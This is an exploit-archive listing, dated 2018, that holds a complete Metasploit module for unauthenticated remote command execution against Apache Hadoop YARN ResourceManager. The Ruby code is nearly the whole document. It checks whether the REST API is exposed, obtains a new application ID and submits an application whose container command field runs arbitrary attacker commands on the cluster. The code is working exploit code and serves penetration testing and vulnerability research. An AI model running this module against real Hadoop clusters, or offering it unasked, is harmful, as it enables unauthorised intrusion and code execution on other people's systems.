Hadoop YARN ResourceManager Unauthenticated Command Execution (Metasploit)

2018.07.14
Credit: Green-m
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution', 'Description' => %q{ This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API. }, 'License' => MSF_LICENSE, 'Author' => [ 'cbmixx', # Proof of concept 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ ['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 19 2016', 'DefaultTarget' => 0 )) register_options([Opt::RPORT(8088)]) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), 'method' => 'POST' ) rescue Rex::ConnectionError vprint_error("#{peer} - Connection failed") return CheckCode::Unknown end if res && res.code == 200 && res.body.include?('application-id') return CheckCode::Detected end CheckCode::Safe end def exploit print_status('Sending Command') execute_cmdstager end def execute_command(cmd, opts = {}) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), 'method' => 'POST' ) app_id = res.get_json_document['application-id'] post = { 'application-id' => app_id, 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), 'application-type' => 'YARN', 'am-container-spec' => { 'commands' => {'command' => cmd.to_s} } } send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => post.to_json ) end end


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